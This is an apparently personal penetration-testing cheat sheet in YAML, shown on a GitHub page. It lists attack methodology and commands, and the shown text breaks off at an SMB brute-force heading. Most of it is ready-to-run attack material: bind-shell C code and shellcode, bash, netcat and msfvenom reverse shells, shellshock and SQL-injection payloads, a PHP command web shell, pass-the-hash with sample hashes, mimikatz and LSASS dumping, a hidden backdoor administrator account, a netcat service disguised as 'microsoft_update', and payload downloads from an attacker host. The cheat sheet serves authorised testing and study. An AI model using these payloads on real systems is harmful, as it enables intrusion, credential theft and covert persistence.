forked from 7h3rAm/writeups
-
Notifications
You must be signed in to change notification settings - Fork 0
/
meta.yml
2044 lines (2030 loc) · 95.2 KB
/
meta.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
meta:
lastupdate: 20201020
sources:
- https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/
- https://jivoi.github.io/2015/08/21/pentest-tips-and-tricks-number-2/
- https://github.com/DigitalAftermath/EnumerationVisualized/
methodology:
recon:
goal: to scan all ports on <targetip>
process:
- "[enumerate_nmap_initial](#enumerate_nmap_initial)"
- "[enumerate_nmap_tcp](#enumerate_nmap_tcp)"
- "[enumerate_nmap_udp](#enumerate_nmap_udp)"
enumerate:
goal: to find service and version details
process:
- find ttps for open ports
- start with weird services
- identify installed software and version
- find critical cve/exploits
- enumerate more common services - smb/ftp
- enumerate services with large attack vector like http at the end
references:
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology%20and%20enumeration.md
exploit:
goal: gain interactive access on <targetip>
process:
- debug available exploits for open ports
references:
- https://fareedfauzi.github.io/notes/Boot2Root-Notes/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CVE%20Exploits
privesc:
goal: gain elevated privileges on <targetip>
process:
- debug available exploits or misconfigurations
- for nix, use [linux smart enum](https://github.com/diego-treitos/linux-smart-enumeration)
- for windows, use [winpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
references:
- https://github.com/rayhan0x01/reverse-shell-able-exploit-pocs
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
tips:
- description: bind shell
cli: |
bs.c
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char* argv[]) {
int host_sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in host_addr;
host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(atoi(argv[1]));
host_addr.sin_addr.s_addr = INADDR_ANY;
bind(host_sock, (struct sockaddr *)&host_addr, sizeof(host_addr));
listen(host_sock, 0);
int client_sock = accept(host_sock, NULL, NULL);
dup2(client_sock, 0);
dup2(client_sock, 1);
dup2(client_sock, 2);
execve("/bin/bash", NULL, NULL);
}
gcc -m32 -o bs bs.c
./bs 4444
- description: buffer overflow
category:
- ttp
cli: |
payload = "\x41" * <length> + <ret_address> + "\x90" * 16 + <shellcode> + "\x43" * <remaining_length>
pattern create: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <attackerport>
pattern offset: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <attackerport> -q <address>
nasm: /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp eax
bad characters:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
find address for "jmp esp" using mona.py:
!mona jmp -r esp -b <list of bad chars>
gcc compilation options:
linux: gcc -m32 -Wl,--hash-style=both 9542.c -o 9542
-wl,--hash-style=both: linker option to enable both gnu and sysv style hashtable support
references:
https://github.com/s0wr0b1ndef/OSCP-note/blob/master/Buffer_overflow/info.txt
https://github.com/justinsteven/dostackbufferoverflowgood/blob/master/dostackbufferoverflowgood_tutorial.md
- description: file transfers
cli: |
certutil.exe -urlcache -split -f "https://download.sysinternals.com/files/PSTools.zip" pstools.zip
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<targetip>/file.exe','C:\Users\user\Desktop\file.exe')"
python3 -m pyftpdlib -p 21
rdesktop <targetip> -r disk:remotedisk=/usr/share/windows-binaries
gzip+xxd:
sender:
gzip -c < file > file.gz
xxd -p file.gz | tr -d '\n' && echo
receiver:
echo 1f8b...0000 > /tmp/file.gz.hex
xxd -p -r < /tmp/file.gz.hex > /tmp/file.gz
gunzip -c < /tmp/file.gz > /tmp/file
automate file download via windows ftp client:
echo open <targetip> >ftp_commands.txt
echo anonymous >>ftp_commands.txt
echo whatever >>ftp_commands.txt
echo binary >>ftp_commands.txt
echo get met8888.exe >>ftp_commands.txt
echo bye >>ftp_commands.txt
ftp -s:ftp_commands.txt
create wget.vbs and download netcat:
>C:\Windows\d.vbs
echo strUrl = WScript.Arguments.Item(0) >>C:\Windows\d.vbs
echo StrFile = WScript.Arguments.Item(1) >>C:\Windows\d.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >>C:\Windows\d.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >>C:\Windows\d.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >>C:\Windows\d.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >>C:\Windows\d.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >>C:\Windows\d.vbs
echo Err.Clear >>C:\Windows\d.vbs
echo Set http = Nothing >>C:\Windows\d.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >>C:\Windows\d.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >>C:\Windows\d.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >>C:\Windows\d.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >>C:\Windows\d.vbs
echo http.Open "GET", strURL, False >>C:\Windows\d.vbs
echo http.Send >>C:\Windows\d.vbs
echo varByteArray = http.ResponseBody >>C:\Windows\d.vbs
echo Set http = Nothing >>C:\Windows\d.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >>C:\Windows\d.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >>C:\Windows\d.vbs
echo strData = "" >>C:\Windows\d.vbs
echo strBuffer = "" >>C:\Windows\d.vbs
echo For lngCounter = 0 to UBound(varByteArray) >>C:\Windows\d.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >>C:\Windows\d.vbs
echo Next >>C:\Windows\d.vbs
echo ts.Close >>C:\Windows\d.vbs
dir C:\Windows\d.vbs
C:\Windows\d.vbs "http://<targetip>/nc.exe" C:\Windows\nc.exe
netcat:
nc -w3 <targetip> 1234 <file.sent
cmd /c nc.exe -l -v -p 1234 >file.rcvd
smb (139/tcp, 445/tcp):
server: python smbserver.py -smb2support shared $HOME/toolbox/scripts/shared
copy ntlm/lm hashes submitted by windows clients during transfers and crack via jtr/hashcat
client:
list files: smbclient -L <targetip> --no-pass
list files: net view \\<targetip>
list files: dir \\<targetip>\shared
copy files: copy \\<targetip>\shared\met8888.exe
execute files: \\<targetip>\shared\met8888.exe
tftp (69/udp):
server:
atftpd --daemon --port 69 $HOME/toolbox/scripts/shared
metasploit:
use auxiliary/server/tftp
set TFTPROOT $HOME/toolbox/scripts/shared
exploit
client:
download: tftp -i <targetip> GET met8888.exe
upload: tftp -i <targetip> PUT hashes.txt
install: pkgmgr /iu:"TFTP"
- description: heartbleed
cli: |
nmap --script=ssl-heartbleed -p <targetport> <targetip>
https://github.com/sensepost/heartbleed-poc
python $HOME/toolbox/scripts/heartbleed-poc/heartbleed-poc.py -n10 -f dump.bin <targetip> -p <targetport>
strings dump.bin
- description: iptables
cli: |
config file: /etc/iptables/rules.v4
- description: lfi/rfi/image upload
cli: |
scan:
uniscan -u http://<targetip>/ -qweds
wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://<targetip>/FUZZ
php b64 leak and command execution:
php://filter/convert.base64-encode/resource=<pagename>
<?php echo passthru($_GET[cmd]) ?>
bypass upload filter:
change extension to PHP, PHP3, PHP4, PHP5
add magic bytes to start of file (eg: GIF87 to a php shell) to evade upload filters
local file access: http://<targetip>/?page=php://filter/convert.base64-encode/resource=index
notice urls that accept a generic filename as parameter:
?page=file1.php
?page=../../../../../../etc/passwd
?page=../../../../../../windows/system32/drivers/etc/hosts
ippsec steps (htb.beep: https://youtu.be/XJmBpOd__N8):
/etc/passwd
/proc/self/status
find home username in passwd, locate home directory for user:
/var/lib/asterisk/.ssh/id_rsa
references:
- http://<targetip>/index.php?file=php://filter/convert.base64-encode/resource=index.php
- http://zerofreak.blogspot.com/2012/04/lfi-exploitation-via-phpinput-shelling.html
- https://gist.github.com/AvasDream/47f13a510e543009a50c8241276afc24
- https://github.com/tennc/fuzzdb/tree/master/dict/BURP-PayLoad/LFI
- https://snowscan.io/htb-writeup-friendzone/
- https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/
- description: passthehash
cli: |
pth-toolkit:
git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd
xfreerdp:
apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
meterpreter:
meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
misc:
fgdump.exe
/usr/bin/pth-winexe -U administrator%0182BD0BD4444BF836077A718CCDF409:259745CB123A52AA2E693AAACCA2DB52 //<targetip> cmd.exe
wmiexec.exe -hashes 0182BD0BD4444BF836077A718CCDF409:259745CB123A52AA2E693AAACCA2DB52 administrator@localhost
- description: passwords
cli: |
shadow file structure: $id$salt$password
generate shadow file hash:
mkpasswd -m md5 password salt
mkpasswd -m sha-256 password salt
mkpasswd -m sha-512 password salt
- description: persistence
cli: |
add a new administrator user:
net user anderson cooper /add && net localgroup administrators anderson /add
add user to rdp group:
net localgroup "Remote Desktop Users" anderson /add
enable rdp in firewall:
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
netsh firewall add portopening TCP <targetport> "RDP"
enable rdp via registry (requries reboot):
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
is rdp service running:
tasklist /svc | findstr /c:TermService
start rdp service:
net start TermService
permanently enable rdp service:
sc config TermService start=auto
code:
useradd.c:
#include <stdlib.h>
int main() {
int i;
i=system("net user anderson cooper /add && net localgroup administrators anderson /add");
return 0;
}
add user:
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main() {
int i;
i=system("net user anderson cooper /add && net localgroup administrators anderson /add");
return 0;
}
# compile: i686-w64-mingw32-gcc -o useradd.exe useradd.c
references:
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md
- description: port forward
cli: |
socat:
socat tcp-listen:<targetport>,fork,reuseaddr tcp:127.0.0.1:80 &
socat tcp-listen:8065,fork,reuseaddr tcp:127.0.0.1:65334 &
plink:
plink.exe -v -x -a -T -C -noagent -ssh -pw "<localpassword>" -R <targetport>:127.0.0.1:<targetport> <localuser>@<attackerip>
meterpreter:
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add --l <targetport> --p <targetport> --r <targetip>
kali > rdesktop 127.0.0.1:<targetport>
- description: portknock
cli: |
knock once on port <targetport>/tcp:
hping3 <targetip> -S -p <targetport> -c 1
nc -vvvz <targetip> <targetport>
knock on multiple tcp ports in a given sequence:
hping3 <targetip> -S -p 666 -c 1; hping3 <targetip> -S -p 7000 -c 1; hping3 <targetip> -S -p 8890 -c 1
nmap -Pn -sT -r -p666,7000,8890 <targetip>
references:
- https://blog.knapsy.com/blog/2014/10/16/knock-knock-vm-walkthrough/
- https://highon.coffee/blog/fartknocker-walkthrough/
- description: restricted shells
cli: |
rbash:
bash -i
BASH_CMDS[foobar]=/bin/bash;foobar
lshell:
echo os.system("/bin/bash")
- description: reverse shell
cli: |
reverse tcp shell from bash:
/bin/bash -i >& /dev/tcp/<targetip>/<attackerport> 0>&1
make a partially interactive terminal usable:
target: python -c "import pty; pty.spawn('/bin/bash')"
local:
stty raw -echo ; fg
target:
reset ; export SHELL=bash ; export TERM=xterm ; stty size ; stty -rows 45 -columns 90 ; stty size
reverse php shell on windows:
https://raw.githubusercontent.com/Dhayalanb/windows-php-reverse-shell/master/Reverse%20Shell.php
references:
- https://shellgenerator.github.io/
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- description: shellcode
cli: |
/bin/sh: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
- description: shellshock
cli: |
look for /cgi-bin/ directory (incldue 403 code for gobuster scan)
check for scripts (-x sh,pl) using gobuster
test http header, user-agent probably
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://<targetip>/cgi-bin/user.sh
gobuster -u <targetip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,204,301,302,307,403
gobuster -u <targetip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,204,301,302,307,403 -k -x sh,pl,py
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <targetip>
- description: sql injection
cli: |
manual verification:
' or 1=1 -- -
' || 1=1 #
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
find a row where you can place your output:
http://<targetip>/inj.php?id=1 union all select 1,2,3,4,5,6,7,8
get db version:
http://<targetip>/inj.php?id=1 union all select 1,2,3,@@version,5
get current user:
http://<targetip>/inj.php?id=1 union all select 1,2,3,user(),5
see all tables:
http://<targetip>/inj.php?id=1 union all select 1,2,3,table_name,5 from information_schema.tables
get column names for a specified table:
http://<targetip>/inj.php?id=1 union all select 1,2,3,column_name,5 from information_schema.columns where table_name='users'
concat user names and passwords:
http://<targetip>/inj.php?id=1 union all select 1,2,3,concat(name, 0x3a , password),5 from users
write to a file:
http://<targetip>/inj.php?id=1 union all select 1,2,3,"content",5 into outfile 'outfile'
references:
- https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
- description: startup scripts
cli: |
chmod +x /foo/bar
update-rc.d /foo/bar defaults
references:
- https://gist.github.com/AvasDream/47f13a510e543009a50c8241276afc24
- description: stegnography
cli: |
strings
exiftool
steghide
- description: tmux shortcuts
cli: |
prefix: ctrl + b
toggle logging: prefix + shift + p
screen cap: prefix + alt + p
complete history: prefix + alt + shift + p
- description: tunneling
cli: |
connect via squid proxy @ 3128/tcp on <targetip>, redirect to ssh service on localhost, run a local standalone daemon on <targetport>:
proxytunnel -p <targetip>:<targetport> -d 127.0.0.1:22 -a 1234
ssh [email protected] /bin/bash
vim /etc/proxychains.conf
http <targetip> <targetport>
proxychains nmap -sT -p22 <targetip>
proxychains ssh <username>@<targetip> /bin/bash
forward remote port to local address:
plink.exe -P 22 -l root -pw "<password>" -R 445:127.0.0.1:445 <targetip>
- description: windows useful commands
cli: |
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d <targetip> <targetport> -e cmd.exe" start= auto error= ignore /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv <targetip> <targetport>
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full"
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp ## for 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp ## for 64 bits
bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerip>/payload.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\payload.exe
powershell history: type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
references:
- https://0xdarkvortex.dev/index.php/2018/04/17/31-days-of-oscp-experience/
tools:
- description: burp
cli: |
set an upstream proxy within burp:
burp > user options > upstream proxy > <targetip>:<targetport>
- description: cewl
cli: |
cewl www.megacorpone.com -m 6 -w /root/newfilelist.txt 2>/dev/null
- description: fcrackzip
cli: |
fcrackzip -uDp /usr/share/wordlists/rockyou.txt <file.zip>
unzip -o -P "password" <file.zip>
- description: gobuster
cli: |
start with /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt wordlist
search file extension:
gobuster -u <targetip> -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 80 -a Linux -x txt,php
gobuster dir -u http://<targetip>:<targetport>/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp"
quick:
gobuster -u http://<targetip> -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 80 -a Linux
full/comprehensive:
gobuster -s 200,204,301,302,307,403 -u http://<targetip> -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 80 -a 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'
ippsec:
gobuster -u http://<targetip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s 200,204,301,302,307,403 -k -x txt,php,asp
gobuster -u http://<targetip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,204,301,302,307,403 -k -x sh,pl
cgi list:
/usr/share/seclists/Discovery/Web-Content/CGIs.txt
- description: hashcat
cli: |
hashcat -a 0 -m 0 <hash> /usr/share/wordlists/rockyou.txt
- description: hydra
cli: |
generic:
hydra -ufl /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt <targetip>
ftp:
hydra -t 4 -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt <targetip> ftp
http:
hydra -l admin -P /root/ctf_wordlist.txt kioptrix3.com http-post-form "/admin.php:u=^USER^&p=^PASS^&f=login:'Enter your username and password to continue'" -V
with cookie:
hydra -l user -P /usr/share/wordlists/rockyou.txt <targetip> -V http-get '/dir/page.php?name=^USER^&pass=^PASS^&submit=Log In:F=Incorrect:H=Cookie: insert stuff here'
pop3:
hydra -l root -P /usr/share/wordlists/rockyou.txt <targetip> pop3
rdp:
hydra -t 4 -V -l root -P /usr/share/wordlists/rockyou.txt rdp://<targetip>
smtp:
hydra -s 25 -v -V -l [email protected] -P /usr/share/wordlists/rockyou.txt -t 1 -w 20 -f <targetip> smtp
ssh:
hydra -l root -P /usr/share/wordlists/rockyou.txt <targetip> ssh
hydra -t 4 -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt <targetip> ssh
hydra -t 4 -L /usr/share/wordlists/rockyou.txt -p some_passsword <targetip> ssh
wordpress:
hydra -l elliot -P ./fsocity.dic <targetip> http-post-form "/wp-login.php:log=elliot&pwd=^PASS^:ERROR"
- description: john
cli: |
create custom wordlist:
john --wordlist=megacorpone-cewl --rules --stdout >megacorpone-cewl-jtr
crack shadow hashes:
unshadow passwd shadow >unshadowed ; john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed ; john --show unshadowed
crack md5 hashes:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-MD5 hashes
- description: kernel module
cli: |
rootkit:
https://github.com/PinkP4nther/Pinkit
- description: merlin c2 framework
cli: |
openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=root.kali.pwn" --days 7
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://<targetip>:<attackerport>" -o merlinagentx64.exe main.go
go build -o merlinagent.elf main.go
- description: metasploit
cli: |
db_status
load mimiktaz
msfconsole -q
msfdb init
msfdb start
search <string>
set payload windows/x86/meterpreter/reverse_tcp
set verbose true
show advanced
show options
show payloads
show targets
systemctl start postgresql
systemctl status postgresql
wdigest
- description: msfvenom
cli: |
linux bind tcp shellcode:
msfvenom -p linux/x86/shell_bind_tcp lport=4444 -f c -b "\x00\x0a\x0d\x20" --platform linux -a x86 -e x86/shikata_ga_nai
windows reverse tcp shellcode:
msfvenom -p windows/shell_reverse_tcp lhost=<targetip> lport=<attackerport> -b "\x00\x0a\x0d" -f c -a x86 --platform windows -e x86/shikata_ga_nai
revere tcp shellcode for client-side exploit without any encoder:
msfvenom -p windows/shell_reverse_tcp lhost=<targetip> lport=<attackerport> -f js_le --platform windows -a x86 -e generic/none
php reverse meterpreter:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<targetip> LPORT=4<attackerport> -f raw -o shell.php
php reverse shell:
msfvenom -p php/reverse_php LHOST=<targetip> LPORT=80 -f raw -o reverse.php
java war reverse shell:
msfvenom -p java/shell_reverse_tcp LHOST=<targetip> LPORT=4<attackerport> -f war -o shell.war
windows javascript reverse shell:
msfvenom -p windows/shell_reverse_tcp LHOST=<targetip> LPORT=4<attackerport> -f js_le -e generic/none -n 18
windows powershell reverse shell:
msfvenom -p windows/shell_reverse_tcp LHOST=<targetip> LPORT=4<attackerport> -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
linux reverse tcp shell elf shared object file:
msfvenom -p linux/x86/shell_reverse_tcp -f elf-so lhost=<targetip> lport=<attackerport> -o linux-shell-reverse-tcp.so
- description: netcat
cli: |
bind:
nc -lvp <attackerport>
connect:
nc -nv <targetip> <attackerport>
reverse:
nc -e /bin/bash <targetip> <attackerport>
- description: ncrack
cli: |
bruteforce rdp login:
ncrack -vv --user administrator -P passwords.txt rdp://<targetip>
- description: netdiscover
cli: |
netdiscover -r 192.168.92.0/24
- description: nikto
cli: |
nikto -h http://<targetip>
nikto -C all -h http://IP
nikto -h <targetip> -useproxy http://<targetip>:3128
- description: nmap
cli: |
vulners nse script:
https://github.com/vulnersCom/nmap-vulners
searchsploit-like vuln scan:
nmap --script vulners --script-args mincvss=5.0 <targetip>
ping sweep:
nmap -sn -oN scan.ping.nmap <targetiprange> ; cat scan.ping.nmap | grep Up | cut -d" " -f2
quick tcp:
nmap -Pn -n -sC -sV -vv -oN scan.tcp.nmap <targetip>
quick udp:
nmap -Pn -n -sU -sV -vv -oN scan.udp.nmap <targetip>
full/intensive tcp:
nmap -Pn -n -sC -sV -p- -vv -oN scan.fulltcp.nmap <targetip>
full/intensive udp:
nmap -Pn -n -sU -sV -p- -vv -oN scan.fulltcp.nmap <targetip>
smb bruteforce:
